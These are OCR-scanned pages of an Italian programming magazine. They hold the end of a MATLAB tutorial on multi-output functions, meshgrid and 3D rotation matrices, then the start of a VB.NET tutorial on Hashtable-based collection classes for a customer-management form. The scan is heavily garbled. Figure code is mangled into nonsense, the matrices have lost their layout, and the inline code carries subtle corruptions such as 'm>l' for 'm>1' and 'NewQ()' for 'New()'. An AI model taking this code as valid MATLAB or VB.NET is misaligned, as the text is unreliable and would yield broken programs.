unico ambiente. Questo aiuta ad aumentare il grado 
di sofisticazione dei sistemi di molti ordini di gran- 
dezza poiché consente di collaudare singoli compo- 
nenti in maniera separata da tutto il resto e permet- 
te di isolare contesti specifici che, altrimenti, se trat- 
tati insieme a tutto il resto diverrebbero rapidamen- 
te ingestibili. Inoltre, questo approccio ci consente 
di avere una stupenda gestione delle nostre variabi- 
li offrendoci ulteriore libertà di assegnare nomi per- 
tinenti all'algoritmo all'interno delle funzioni ma ci 
da la libertà di usare nomi di variabili pertinenti al- 
l'applicazione all'esterno delle funzioni. Quindi, 
per combinazione di componenti elementari affida- 
bili siamo ora in grado di costruire sistemi di eleva- 
ta complessità minimizzando lo sforzo di gestione 
delle nostre applicazioni. 

Analizziamo una piccola ma significativa ed utile 
estensione dei concetti appena visti. MATLAB ci of- 
fre la possibilità di avere un numero qualsiasi di va- 
riabili in ingresso ed un numero qualsiasi di varia- 
bili in uscita. Immaginiamo di volere scrivere una 
funzione che calcola l'espressione in due variabili: 

(-*' -f) 

z = (x 2 - y) e 

Inoltre desideriamo sapere dove il nostro calcolo 
raggiunge il massimo all'interno del dominio di cal- 
colo dei suoi valori. Vogliamo quindi produrre un 
grafico che evidenzi l'andamento della superficie e 
mostri il punto in cui il calcolo ha raggiunto il mas- 
simo valore. Qui preme fare una piccola distinzione 
che può apparire molto formale e matematica ma vi 
posso assicurare che non lo è per nulla: c'è una dif- 
ferenza sostanziale tra dire che stiamo ricercando il 
valore più grande tra quelli provenienti dal nostro 
calcolo e che, invece, cerchiamo il massimo della 
funzione. Nel primo caso di tratta di scegliere il più 
grande tra i valori presenti in un vettore o in una 



74 ► ► ► M a 



9 9 



3 



http:// www. itportal.it 



matrice frutto del calcolo in alcuni punti prescelti. 
Nel secondo caso dobbiamo concentrarci sulla fun- 
zione stessa e ricercare in quali punti essa raggiun- 
ga il massimo. Il massimo della funzione ed il più 
grande valore nella matrice proveniente dal calcolo, 
nella maggior parte dei casi non coincidono. Vedre- 
mo nei prossimi numeri l'applicazione di alcuni al- 
goritmi atti a calcolare il punto di massimo e ci sarà 
maggiormente chiara questa importante differenza. 
Per fare quello che ci siamo prefissati é necessario 
trascrivere quanto mostrato in Fig. 2. 



u» t« m* [*.< &tu2 anturi* «^ •?». me 
d a» y ) ■■ e *> ■ • M t. Qtì 



jc] *calc*xp lx,yl 



% Creazione dilla griglia di ascici* ad ordinate 

[ascissa, atdiBata]=n6shiirid !.:£,¥) ' 

^ Calcolo della funzione 

E B {«ciiH. A 2- ordinata) . +**p (-asolata. * 2 -ordinata, ^2) ; 

% Sioeroo del valore massimo all'interno 

ts della matrice dei risultati 

a _majr-B»xiiaax(z>> ; 

% Ricerca delle posizioni nella matrice risultata 

■' in cui ricorre il valore massime 

[po3_naax,po*_yma3c]"find (z«»s_ioax> ; 

% Rioeroa della coordinate corrispondenti 

% alla posizioni in cui •' stato trovato 



% il 






K_maK=diag|a5cis5a|pcs_nnfls,p(3s_3inai)) ; 

y_mjut"diag < ordinata (poa xmax , pò s_yma* ) > ; 

% Calcolo delle dimensioni di uno dei vettori 

Hs che contengono la coordinata dai punti di massimo 

[m,n]"sìE« (x_max> ; 

'■■ Se ilpunto non e c unico adeguiamo le dimensioni 

% dal risultato alla dlaanslon.1 dai vattori 

% delle coordinate di massimo 

if m>l 

z_taar-z_jua3c*onas 4n,l) ; 
end 



_l 



Fig. 2: Funzione in più variabili. 



Ora che abbiamo a disposizione la nostra funzione 
possiamo produrci nel seguente esperimento: 

[2] 




Iniziamo con il commentare il codice che abbiamo 
scritto per usare la nostra nuova funzione. Dap- 
prima abbiamo creato l'intervallo di valori per la 
x e la y: entrambe le variabili spaziano tra -2 e 2 
con passi pari ad 1/10. Quindi abbiamo richiama- 
to la nostra funzione specificando i nomi delle va- 
riabili necessarie per l'ingresso e quelle che abbia- 
mo deciso di usare nel workspace base di MA- 
TLAB per l'uscita. 

Una volta raggiunto questo risultato il resto dello 
sforzo é teso a produrre una visualizzazione utile 
e significativa dei nostri dati. 
Il comando "surf" visualizza la superficie a parti- 
re dalle coordinate x, y e z (la variabile uscita nel 



nostro caso). Come già sappiamo il comando "hold 
on" mantiene sulla finestra corrente (più precisa- 
mente sull'asse corrente) la visualizzazione attua- 
le e permette di fare sovrapposizioni. 
Nel seguito abbiamo utilizzato la funzione plot3 
facendoci restituire l'handle degli oggetti appena 
creati; questo ci consente di variare alcune loro 
proprietà con il fine di rendere la visualizzazione 
un po' più chiara. Infatti, variamo immediatamen- 
te sia il colore sia la dimensione dei due punti che 
sono stati appena creati. L'ultimo comando ci con- 
sente di ruotare la superficie in modo da rendere 
visibile tutte le sue caratteristiche salienti. 
Dobbiamo ora spendere qualche parola per de- 
scrivere il contenuto della funzione che abbiamo 
scritto per elaborare il nostro calcolo. 
Spezziamola in porzioni significative e proviamo 
ad analizzarla. 
Partiamo dalla definizione di funzione: 

function [z,x_max,y_max,z_max]=calcexp(x,y) 

Rispetto a ciò che abbiamo fatto in precedenza ve- 
diamo più variabili di ingresso (tra parentesi sepa- 
rate da virgole) e abbiamo ora alcune variabili in 
uscita. Queste vengono specificate per mezzo delle 
parentesi quadre e sono anche loro separate da vir- 
gole. 

[3] 

[ascissa, ordinata] = meshgrid(x,y); 

L'uso della funzione meshgrid é particolarmente im- 
portante tutte quelle volte in cui abbiamo la neces- 
sità di creare matrici di coordinate che possano es- 
sere utilizzate per il calcolo di funzioni in due va- 
riabili. Ciò che essa produce sono due matrici che 
nelle stesse posizioni contengono tutte le combina- 
zioni di coordinate necessarie alla valutazione di 
funzioni in due variabili. 

[4] 

z= (ascissa. A 2-ordinata).*exp(-ascissa. /v 2-ordinata. /s 2); 

Il calcolo della funzione é ora particolarmente sem- 
plice. L'unica accortezza che dobbiamo usare é rela- 
tiva alla specifica delle operazioni che devono esse- 
re fatte elemento per elemento (per mezzo di un 
punto che viene fatto precedere il segno convenzio- 
nale di operazione). 

z_max=max(max(z)); 

La funzione max agisce sulle matrici calcolandone il 
valore massimo colonna per colonna (restituendo 
un vettore che contiene il più grande valore all'in- 
terno di ogni colonna). Quindi l'applicazione più 
interna della funzione max genera un vettore di va- 
lori mentre la seconda volta che la utilizziamo essa 
si trova di fronte un vettore riga di valori ed é quin- 
di costretta a trovare il valore massimo all'interno 




MATLAB 



[2 



Il comando help 
consente di rag- 
giungere la descrizio- 
ne di un comando co- 
noscendo esattamen- 
te il nome della fun- 



[3] 



help meshgrid 
fornisce infor- 
mazioni utili sulla 
funzione 



[4] 



Gli 



operatori 
e ".*" indi- 
cano che si vuole ef- 
fettuare un'operazio- 
ne di elevamento a 
potenza ed una mol- 
tiplicazione elemento 
per elemento all'in- 
terno delle matrici . 



http ://www.itport al.it 



M 



g g 



3 ►►► 75 




MATLAB 



[5 



E necessario no- 
tare la differen- 
za che esiste tra il se- 
gno di assegnazione 
di un valore ( = ) e 
quello di test condi- 
zionale (= =). 



[6] 



Quando dobbia- 
mo specificare 
dei punti singoli in un 
comando plot é ne- 
cessario fornire dap- 
prima la lista delle 
ascisse e quindi quel- 
la delle ordinate. 



di questo vettore. 

[5] 

[pos_xmax,pos_ymax]=find(z==z_max); 



La funzione fini restituisce le posizioni dove si ve- 
rifica la condizione riportata in argomento. 

x_max=diag(ascissa(pos_xmax,pos_ymax)); 
y_max=diag(ordinata(pos_xmax,pos_ymax)); 

Conoscendo le posizioni in cui é posizionato il va- 
lore (o i valori) massimo possiamo ricavare i valori 
delle coordinate x e y. Nel nostro caso l'uso della 
funzione diag ci serve per trovare il vettore delle 
coordinate x e y nel caso in cui le posizioni in cui si 
trova il valore massimo della funzione sono più di 
uno. 

Prendiamo la prima espressione e smembriamola: 
ascissa(pos_xmax,pos_ymax) ci restituisce una matri- 
ce di valori all'interno di ascissa che siano posizio- 
nati dove indicato dalle variabili pos_xmax e 
pos_ymax. 

Se ora applichiamo la funzione diag estraiamo la 
diagonale di detta matrice e andiamo così a pren- 
dere i valori delle ascisse che ci interessano. Ese- 
guiamo quindi un codice simile ed otteniamo l'e- 
lenco delle coordinate y: 

[m,n]=size(x_max); 
if m>l 

z_max=z_max*ones(m,l); 
end 

Il codice riportato sopra é un semplice modo per 
rendere il vettore zjnax di dimensioni compatibili 
con le altre variabili (x_max in questo caso poiché 
sappiamo che yjnax é della stessa dimensione). 



ROTAZIONI 

Lo scopo che ci prefiggiamo questa volta é quello 
di scrivere una funzione che ci consenta di far ruo- 
tare attorno ad un asse specifico punti o vettori. 
Definiamo, per iniziare, cosa sia una rotazione di 
un punto (oppure di un segmento che ha quel pun- 
to come estremo) rispetto ad un asse. Se immagi- 
niamo di avere un punto che sul piano cartesiano 
ha coordinate (3, 1) e intendiamo ruotarlo di 90 
gradi (pi greco /2 se lo esprimiamo in radianti), ri- 
spetto ad una asse perpendicolare al foglio e che 
passa per l'origine degli assi, dobbiamo applicargli 
una trasformazione che sia in grado di modificare 
le sue coordinate e le faccia divenire (-1, 3). 

[6] 

>> plot([0 3],[0 1]) 

>> hold on 

>> plot([0 -1],[0 3]) 

che produce la Fig. 3. 




Fig. 3: Rotazione di un segmento di 90 gradi (pi/2). 

Definiamo la trasformazione che implementa que- 
sta azione per mezzo di una serie di matrici: 

10 \ 

| cos(B) -sin(G)\ 

sin(6) cos(6)j 



cos(d) sin (0) ì 

1 
- sin(d) cos (0) 



cos(d) - sin (0) 0\ 
| sin(d) cos (6) 
1 

Se ora consideriamo la coordinata di un punto in tre 
dimensioni come un vettore colonna che contiene i 
valori delle coordinate x, y e z, possiamo moltipli- 
carla per una di queste matrici per ottenere la corri- 
spondente rotazione attorno all'asse. 
Le matrici precedenti sono definite per rotazioni in 
senso antiorario, vale a dire che gli angoli positivi si 
misurano ponendosi dalla parte verso cui é rivolto 
l'asse positivo attorno al quale si vuole calcolare la 
rotazione e si considerano positivi quegli angoli che 
hanno un andamento antiorario. Per esempio, se 
vogliamo calcolare la rotazione del segmento prece- 
dente attorno all'asse Z (l'asse che passa per l'origi- 
ne degli assi xy rivolto verso gli occhi di chi guarda) 
dovremo scrivere: 




76 ►►► M a g g 



3 



http:// www. itportal.it 



>> Rz=[ cos(theta) -sin(theta) 0; 
sin(theta) cos(theta) 0;... 
1] 



Rz = 






0.00 





-1.00 


1.00 





0.00 








1.00 


[7] 

>> p2 = 


=Rz*pl 




p2 = 


-1.00 


3.00 










Ottenendo esattamente quanto ci eravamo prefissa- 
ti. Se desideriamo scrivere un codice generale e riu- 
tilizzabile, che implementi questa idea dobbiamo ri- 
ferirci alla funzione "rotxyz" riportata in Fig. 4. 



i_eooro>rotjcys <ai 



eoo Ed, 'theta) 



cos (tinta) -sin { the ta) ; . 
c sinCtheta) ooKthet») ] ; 



By=[ eoa (theta) □ sin ( tht tal : 

1 ; . _ . 

-sin <thata) coi (tbats.) ] 



% Matrici di cotazisaa 

'* per rotazioni positive in set 

Rz-[ cei (theta) -ainf-bbati 

sin (theta) cos (theta) 



Fig. 4: Codice della funzione che effettua la 
rotazione in 3D attorno agli assi x, y e z. 



Qui compare un nuovo costrutto per il controllo 
del flusso (fino ad ora conosciamo il solo FOR) che 
prende il nome di "switch". Il suo funzionamento 
é molto simile a quello che viene utilizzato in mol- 
ti altri linguaggi e ci serve per creare una casistica 
a fronte del valore di una variabile. In questo caso 
ci aspettiamo che la variabile asse contenga una 
stringa che ci informa di quale é la rotazione desi- 
derata. 

Per utilizzare praticamente la nostra nuova funzio- 
ne proviamo a scrivere lo script che chiameremo 
"rndrot" che contiene il seguente codice: 

[8] 



data = ranc 


n(3,100); 












N = 500; 


theta = 2*pi/N; 


new_data = 


= rotxyz('z' 


,data 


theta), 








plot3(new_ 


_data(l,:) 


new_ 


_data(2, 


) 


new_ 


_data(3,:),V); 


for i = l:N 




Ciò che esso produce é una animazione relativa al- 
la rotazione intorno all'asse z di una nuvola di pun- 
ti creati in maniera casuale attorno all'origine degli 
assi. 

La variabile N definisce la suddivisione (e quindi 
l'ampiezza) dell'angolo di rotazione per ogni passo 
del ciclo. Ad un N maggiore corrisponde un ango- 
lo più piccolo e quindi si vedrà che ad ogni passo 
la nuvola ruota di una angolo inferiore. L'unica 
nuova accortezza che abbiamo dovuto scrivere é il 
comando "drawnow" che costringe MATLAB a fer- 
mare l'elaborazione per visualizzare il grafico ap- 
pena creato, altrimenti, per ottimizzare i tempi di 
calcolo, MATLAB avrebbe visualizzato soltanto il 
grafico finale. 

Se eseguite questo script vedrete una bella anima- 
zione che vi mostra la rotazione della nostra nuvo- 
la di punti. 

CONCLUSIONI 

Le funzioni sono un passo fondamentale nell'uso 
di MATLAB. Esse ci consentono di costruire dei 
comodi componenti che possono essere assembla- 
ti fra loro per formare applicazioni più complesse. 
Inoltre, la gestione dello spazio di lavoro viene a 
semplificarsi enormemente fornendo una maggio- 
re economia di spazio e una migliore libertà di as- 
segnazione dei nomi. Ancora, il collaudo dei sin- 
goli algoritmi può essere fatto in un ambiente cir- 
coscritto e progettato ad hoc per ogni singolo al- 
goritmo in modo tale da massimizzare l'affidabi- 
lità del prodotto finale. L'algoritmo che va a fare 
parte dell'applicazione che lo ospiterà fornirà le 
migliori garanzie di accuratezza numerica e affi- 
dabilità. 

Nel prossimo numero impareremo a trattare anco- 
ra le funzioni dal punto di vista del trattamento 
dei dati per l'approssimazione di funzioni. Quan- 
do abbiamo a che fare con il calcolo numerico sia- 
mo costretti a trattare con molta cura le questioni 
relative all'approssimazione dei dati. Vedremo al- 
cune nozioni fondamentali e implementeremo un 
algoritmo che può tornarci utile per il trattamento 
di andamenti particolarmente complessi. Si tratta 
di un tema che interessa un grande numero di di- 
scipline tecniche ed ingegneristiche ed é talvolta 
molto importante avere una buona conoscenza di 
tali algoritmi. 

Per maggiori informazioni sui prodotti della fami- 
glia MATLAB potete consultare il sito di The 
MathWorks {www.mathworks.it). 

Fabrizio Sara 
(fabrizio.sara@mathworks.it) 



MATLAB 



[7 



In questo caso 
è pertinente l'u- 
so della moltiplica- 
zione matriciale se- 
condo le regole rese 
esplicite nel primo 
numero della nostra 
serie. 



[8] 



La funzione 

randn restitui- 
sce una matrice di 
numeri casuali distri- 
buiti in maniera nor- 
male (Gaussiana) at- 
torno ad un valore 
medio imposto pari a 
zero. 



Sul Web 



Getting Started with 
MATLAB 

http: //www. mathworks 
.com/access/helpdesk 
/help/pdf doc/matlab 
/qetstart.pdf 

Using MATLAB 

http: //www. mathworks 
. com/access/helpdesk 
/help/pdf doc/matlab 
/using mi. pdf 

Using MATLAB 
Graphics 

http ://www. mathworks 
. com/access/helpdesk 
/help/pdf doc/matlab 
/graphg.pdf 



Bibliografia 

• FONDAMENTI DI 
CALCOLO NUMERICO 
Giovanni Monegato 
(Edizioni CLUT) 
1998 

• METODI NUMERICI 
E STATISTICI PER LE 
SCIENZE APPLICATE 
Valeriano Comincioli 
(Editrice Ambrosiana) 
1992 



http: //www. itportal.it 



M 



g g 



3 ►►► 77 



C o r s 



B a s e ► ► ► ► ► ► ► ► ► ► ► ► ► 




Le Collezioni 

visual Basic (O INSIEMI) DI OGGETTI 
NET 

L'ultimo articolo sulla programmazione ad oggetti 
affronterà la gestione degli insiemi di oggetti avvalendosi 
delle classi Collezione. 



File sul CD 

\soft\codice\VBNET.zip 



File sul Web ^J 

www.itportal.it 

/iop69/VBNET.ZIP 



Riferimenti 

Quando si 
giunge un 



ag- 
og- 

getto alla collezione, 
esso non viene real- 
mente aggiunto alla 
collezione, piuttosto 
viene aggiunto alla 
collezione un riferi- 
mento all'oggetto. 
Dunque una collezio- 
ne contenente un in- 
sieme di oggetti con- 
tiene in realtà un in- 
sieme di riferimenti 
ad oggetti. 



Dopo aver digerito i concetti che stanno alla 
base della OOP siamo pronti per passare ad 
un argomento che rende ancora più appetito- 
so l'uso della OOP: le classi Collezione. Le classi Col- 
lezione consentono di gestire un insieme di oggetti dello 
stesso tipo, ad esempio un insieme di clienti. 
In VB.NET sono disponibili diverse classi collezione 
native. Alcune, come Stack e Queue sono classi specia- 
lizzate, implementate per svolgere ruoli specifici (Stack 
simula un insieme LIFO Last-in, first-out, Queue un 
insieme di oggetti FIFO (conosciuta anche come coda). 
Altre classi, quali CollectionBase e DictionaryBase, sono 
classi astratte che hanno soltanto alcune funzionalità di 
base, mentre è lasciato allo sviluppatore, il compito di 
scrivere la maggior parte del codice d'implementazio- 
ne. In questo articolo vedremo in dettaglio come crea- 
re una collezione, e come definire i metodi che la clas- 
se dovrà esporre per la gestione di un insieme di ele- 
menti. 

IMPOSTARE UNA CLASSE 

COLLEZIONE 

PERSONALIZZATA 

In VB.NET è possibile creare classi Collezione persona- 
lizzate ereditando da una delle numerose classi colle- 
zione di .NET Framework e aggiungendo codice per 
l'implementazione di funzionalità necessarie ad un 
oggetto di tipo collezione. Nella classe CollectionBase 
sono già disponibili implementazioni per il metodo 
Clear che permette di cancellare tutti gli oggetti di una 
collezione e la proprietà Count, che restituisce il nume- 
ro di elementi presenti nella collezione. Per l'organiz- 
zazione e l'archiviazione interna degli oggetti viene 
mantenuta una proprietà protetta denominata List. 
Un'altra possibilità è quella di utilizzare una classe 
nativa definita privata (per garantire l'incapsulamento, 
che abbiamo visto essere una caratteristica essenziale 
della programmazione ad oggetti), in una classe con il 
solo compito specifico di gestire una collezione di 
oggetti. In particolare si può utilizzare una particolare 
collezione nativa: HashTable. Si tratta di un tipo di col- 
lezione speciale che funziona in base ad un principio 



chiave/ valore, in pratica ad ogni elemento della colle- 
zione è assegnata una chiave, che può essere utilizzata 
per recuperare il valore dell'oggetto corrispondente. 
Così come per le proprietà di una classe, che per esse- 
re lette o modificate devono esporre le procedure 
Property, anche per le collezioni si ha bisogno di meto- 
di contenitori pubblici che permettano l'accesso ad una 
collezione privata ed ai suoi metodi nativi. Da questa 
breve descrizione si deduce che la classe collezione si 
comporta come una collezione nativa del Visual Basic, 
anche se a volte la sintassi è leggermente differente, 
poiché le collezioni definite dal programmatore sono 
specializzate per contenere solo oggetti di un determi- 
nato tipo. 



EREDITARE UNA CLASSE 

Nel prosieguo dell'articolo implementeremo un esem- 
pio di uso delle collezioni sfruttando la classe cliente 
realizzata nel numero precedente. Per accedere univo- 
camente ad un determinato cliente abbiamo però biso- 



II pulsante Cancella 

Il codice da scrivere nel button Cancella può 
essere: 

Private Sub ButtonCancella_Click (ByVal sender As 

System. Object, ByVal e As System. EventArgs) 

Handles ButtonCancella. Click 

'Elimina l'eventuale errore che si potrebbe verificare 

se si tenta di cancellare un cliente non presente 

nella collezione 

Try 

'chiamata al metodo Remove, passa come parametro 

la chiave rappresentata dal codice fiscale 

CollezioneDiClienti.Remove(TextBoxCodiceFiscale.Text) 

Catch 

End Try 

'Visualizza la nuova lista di clienti 

VisualizzaLista() 
'per svuotare i TextBox 
SvuotaCampi() 

'per riportarsi nelle condizioni iniziali 
Objclientefiscale = Nothing 
End Sub 



78 ►►► M a g g 



3 



http: //www. itport al.it 



gno di una chiave, come ad esempio il codice fiscale, 
per questo definiamo una nuova classe ClienteFiscale 
che erediti tutte le proprietà della classe cliente ed in 
più esponga la nuova proprietà CodiceFiscale. La parola 
chiave utilizzata in VB .Net per creare una relazione di 
eredità è Inherits; quest'istruzione deve essere sulla 
prima riga di codice dopo la definizione della classe, 
nelle righe successive sarà possibile scrivere il codice 
che definisce altre proprietà e metodi, peculiari della 
classe derivata. 

La classe derivata eredita dalla superclasse tutte le pro- 
prietà ed i metodi dichiarati come Public o protected 
nella Superclasse. 
Per il nostro esempio possiamo scrivere: 

Public Class ClienteFiscale 
Inherits cliente 

Private mvarCodiceFiscale As String 
Property CodiceFiscale() As String 

Get 

Return mvarCodiceFiscale 

End Get 

Set(ByVal Valore As String) 

mvarCodiceFiscale = Valore 

End Set 

End Property 
End Class 

Nell'esempio sopra riportato, la classe ClienteFiscale 
eredita dalla classe cliente. La classe ClienteFiscale può, 
quindi, utilizzare tutto ciò che in cliente è stato definito 
come Public, Protected o Friend. In particolare, all'interno 
di ClienteFiscale è possibile utilizzare le proprietà No- 
me, .Cognome e SpesaMensile (definite nel precedente arti- 
colo). 

CREARE 

UNA CLASSE COLLEZIONE 

Per inserire una nuova classe collezione nel progetto, si 
devono compiere le seguenti operazioni: 

• Dal menu progetto, selezionare aggiungi classe. 

• Nella finestra di dialogo immettere il nome della 
collezione. Esistono diverse convenzioni in lettera- 
tura per l'attribuzione del nome ad una collezione, 
personalmente preferisco far precedere il nome 
della classe dal prefisso Col (ColClienteFiscale). 

Nella finestra del codice (dopo l'istruzione di dichiara- 
zione della classe), si deve dichiarare una variabile 
oggetto privata mCol di tipo Hashtable. 

Dim mcol As Hashtable 

Dopo aver definito la variabile collezione, come ogni 
variabile oggetto, si deve creare un'istanza della varia- 
bile di tipo Hashtable. 



CREARE L'ISTANZA DELLA 
VARIABILE OGGETTO 

Il posto migliore in cui creare l'istanza della variabile 
oggetto mCol è nel costruttore della classe. Ricordiamo 
che il costruttore è un metodo richiamato automatica- 
mente ogni volta che viene creata un'istanza di un 
oggetto, in particolare è una specifica routine Sub il cui 
nome deve obbligatoriamente essere New. Possiamo 
quindi scrivere: 

Public Sub NewQ 

'crea l'oggetto di tipo Hashtable 

mcol = New HashtableQ 

End Sub 

A questo punto avremo a disposizione una classe che 
crea una collezione privata. Perché questa classe sia di 
effettivo interesse si devono aggiungere i metodi che 
permettino di manipolare la collezione privata. In par- 
ticolare gli elementi di una collezione sono aggiunti con 
il metodo Add e rimossi con il metodo Remove. 



Codice Fiscale |srsbnn03c26d896y 
Spasa Mensile 




Bfl Luigi Buono 1500 



Fig. 1: L'applicazione con alcuni dati di esempio. 

Uno specifico elemento della collezione può essere 
referenziato con il metodo Item. 

Inoltre la proprietà Count restituisce il numero di mem- 
bri della collezione. 
Vediamoli in dettaglio 

Metodo Add 

Poiché la variabile di tipo Hashtable, è stata dichiarata 
come variabile privata della classe, non è possibile 
aggiungere oggetti alla collezione da un punto qualsia- 
si dell'applicazione. Per questo motivo si deve definire 
un metodo pubblico Add usando una procedura Sub 
pubblica che sfrutti il metodo Add nativo della collezio- 
ne Hashtable. 

Il metodo Add nativo della collezione Hashtable consen- 
te di aggiungere alla collezione un oggetto con la chia- 
ve e il valore specificato. Per il nostro esempio si può 
utilizzare il codice fiscale che rappresenta certamente 
una chiave univoca per l'individuazione di un generi- 
co oggetto ClienteFiscale. 




Visual Basic 

.NET 



Collezioni 
native 



La classe colle- 
zione si compor- 
ta come una collezio- 
ne nativa del Visual 
Basic, anche se a 
volte la sintassi è leg- 
germente differente, 
poiché le collezioni 
definite dal program- 
matore sono spe- 
cializzate per con- 
tenere solo oggetti di 
un determinato tipo. 



http :// www.it pò rt al.it 



g g 



3 ►►► 79 




Visual Basic 

NET 



Cicli 



Il ciclo For Each.. 

.Next è simile al 
ciclo For... Next, ma 
invece di ripetere le 
istruzioni il numero di 
volte specificato, ripe- 
te un gruppo di istru- 
zioni per ciascun ele- 
mento di un insieme 
di oggetti, questo ri- 
sulta particolarmente 
utile se non si conosce 
il numero di elementi 
di un insieme. La sin- 
tassi è la seguente: 



For Each 

VariabileOggetto In 
CollezioneDiOggetti 

'blocco di istruzioni da 
eseguire su ogni 

oggetto della collezione 

Next 

A ogni ripetizione del 
ciclo, la variabile Va- 
riabileOggetto viene 
impostata su uno de- 
gli elementi della col- 
lezione e viene ese- 
guito il blocco di istru- 
zioni. Quando tutti gli 
elementi della colle- 
zione sono stati asse- 
gnati a VariabileOg- 
getto, il ciclo For Each 
termina e il controllo 
passa all'istruzione 
successiva all'istru- 
zione Next. 



Public Sub Add(ByVal obj As ClienteFiscale) 

'viene chiamato il metodo nativo Add della Hashtable 
'passandogli come parametri la chiave di accesso 
'e l'oggetto che dovrà contenere 
mcol.Add(obj.CodiceFiscale, obj) 

End Sub 

Il metodo Remove 

Per esporre l'opportunità di rimuovere un oggetto 
dalla collezione, si deve definire un metodo involucro 
Remove pubblico che sfrutti il metodo Remove nativo. 

Public Sub Remove(ByVal Chiave As String) 
'Utilizzata per rimuovere un elemento dalla collezione, 
'in base alla chiave dell'oggetto 
mcol.Remove(Chiave) 

End Sub 

Il metodo Remove nativo elimina dalla collezione l'og- 
getto che è stato aggiunto con la chiave passata come 
argomento. Se la chiave specificata non viene trovata 
nella collezione, VB genera un errore di Run-Time. 
E possibile migliorare il metodo introducendo un 
gestore di eccezioni che eviti questo increscioso errore. 

Il metodo Item 

Il metodo involucro item permette di referenziare un 
elemento specifico della collezione. Per definire II me- 
todo pubblico Item si utilizza una Property Get a sola let- 
tura che restituisce il riferimento ad uno specifico 
oggetto della collezione individuato dal parametro 
Chiave. 




La proprietà Item può diventare la proprietà prede- 
finita (ricordo che soltanto una proprietà all'interno 
di una classe può essere di default), utilizzando 
nella sua dichiarazione la parola chiave Default. 
In questo modo, nel momento in cui all'interno del 
codice si vorrà fare riferimento ad un oggetto della 




collezione, si potrà omettere la chiamata a questa 
proprietà (come sarà chiaro in seguito). Dopo aver 
referenziato lo specifico oggetto della collezione, ed 
aver assegnato il riferimento ad una variabile ogget- 
to, sarà possibile accedere alle proprietà ed ai meto- 
di dell'oggetto restituito. 



LA PROPRIETÀ COUNT 

La proprietà Count dovrà restituire il numero di ele- 
menti presenti nella collezione. 
Per implementarla si deve definire una proprietà 
pubblica a sola lettura che chiami la proprietà 
intrinseca Count della collezione Hashtable 

Public ReadOnly Property CountQ As Integer 

Get 

Return mcol. Count 
End Get 

End Property 

SCORRERE GLI ELEMENTI 
DI UNA COLLEZIONE 

I metodi e le proprietà definiti finora rappresentano il 
set minimale che una collezione deve implementare. 
Per migliorare la vita al programmatore si può imple- 
mentare un metodo che consenta di navigare facilmen- 
te tra gli oggetti di una collezione: il metodo Elements. 

II metodo Elements dovrà restituire un enumeratore, 
cioè un oggetto che scorre l'insieme associato. 
L'enumeratore è simile ad un puntatore che si sposta su 
qualsiasi elemento dell'insieme, e viene utilizzato nel- 
l'istruzione For. .Each. 

L'interfaccia ICollection fornisce il suo enumeratore, 
pertanto si può scrivere: 



Public ReadOnly Property 


Eie 


mentsQ 


As ICollection 


Get 


Return 


mcol.Values 






End Get 


End Property 



Fig. 2: Il messaggio di avviso. 



GESTIRE I CLIENTI 
DI UN SUPERMERCATO 

Siamo pronti per realizzare una semplice applicazione 

che sfrutti tutti i concetti esaminati in questa serie di 

articoli. 

Realizziamo una form contenente: 

• Quattro TextBox: TextBoxNome, TextBoxCognome, 
TextBoxCodiceFiscale, TextBoxSpesa con le quattro 
Label corrispondenti. 

• Tre Button: ButtonNuovo, ButtonSalva, ButtonCan- 
cella. 

• Una ListBox: EistBoxClienti 



80 ►►► M a g g 



3 



http: //www. itport al.it 



Per inserire i dati anagrafici di un nuovo cliente il 
gestore del supermercato dovrà: 

• Premere il tasto Nuovo. 

• Inserire i dati anagrafici nei TextBox corrispondenti. 

• Premere il tasto Salva per inserire il cliente nella 
lista dei clienti del supermercato. 

Allo scopo definiamo due variabili oggetto globali: 

• CollezioneDiClienti istanza della classe ColCliente- 
Fiscale, che dovrà contenere per la durata dell'appli- 
cazione l'insieme dei clienti del supermercato. 

• ObjClienteFiscale istanza della classe ClienteFisca- 
le, che dovrà contenere i dati del cliente corrente. 

Il ciclo di vita dell'oggetto CollezioneDiClienti coincide 
con il ciclo di vita della form per questo motivo la 
variabile oggetto CollezioneDiClienti dovrà essere creata 
nell'evento Load della form 

Private Sub FrmClienti_Load(ByVal sender As 

System. Object, ByVal e As 

System. EventArgs) Handles MyBase.Load 

CollezioneDiClienti = New ColClienteFiscale() 
End Sub 

Per inserire un nuovo cliente del supermercato, la 
prima operazione che dovrà compiere l'utente sarà di 
premere il pulsante nuovo. In questa procedura dovre- 
mo, quindi, preoccuparci di svuotare i TextBox e di 
creare la variabile oggetto ObjClienteFiscale con la sin- 
tassi ormai nota: 



Private Sub ButtonNuovo 


_Click(ByVal 
System 


sender As 
.Object, ByVal 


e As 


System. EventArgs) Hand 


es ButtonNuovo. Click 




Objclientefiscale = 


New ClienteF 


scale() 




SvuotaCampi() 


End Sub 



La procedura per pulire i campi non dovrà fare altro 
che porre la proprietà Text dei quattro TextBox pari alla 
stringa vuota. Per questo invece di scrivere: 

Private Sub SvuotaCampi() 

TextBoxCognome.Text = "" 

TextBoxNome.Text = "" 

TextBoxCodiceFiscale.Text = "" 

TextBoxSpesaMensile.Text = "" 
End Sub 

possiamo sfruttare il polimorfismo avendo la possibili- 
tà di accedere all'insieme dei controlli di un oggetto 
form, tramite la collezione Controls. 
La collezione Controls rappresenta tutti i controlli della 

http ://www.itport al.it 



form corrente, e permette di ottenere un riferimento ad 
un controllo dell'insieme in base all'indice, e di ciclare 
su tutti i controlli utilizzando l'istruzione For 
Each...Next. 

Private Sub SvuotaCampi() 

Dim Controlli As Control 

On Errar Resumé Next 

For Each Controlli In Controls 

If TypeOf Controlli Is TextBox Then 
Controlli. Text = "" 

End If 

Next 

End Sub 

L'istruzione lf.Then è necessaria poiché si deve azzera- 
re soltanto la proprietà Text dei TextBox e non quella di 
tutti i controlli presenti sul form, per questo si può 
usare la parola chiave TypeOf (analizzata nel numero 
precedente) che verifica se un oggetto è derivato o 
implementa un tipo particolare (per il nostro esempio il 
tipo TextBox). 

Quando l'utente completa l'inserimento dei dati ana- 
grafici, dovrà premere il tasto salva per inserire il clien- 
te nella lista dei clienti del supermercato. 

Private Sub ButtonSalva_Click(ByVal sender 

As System. Object, ByVal e As 

System. EventArgs) Handles ButtonSalva. Click 
'controllo sull'esistenza dell'oggetto Objclientefiscale 
If Objclientefiscale Is Nothing Then 

MessageBox.Show("Si deve prima premere il tasto 

Nuovo") 
Exit Sub 

End If 

Valori zzaCampi() 
Try 
CollezioneDiClienti. Add(Objclientefiscale) 

Catch 

End Try 

VisualizzaLista() 
SvuotaCampiQ 
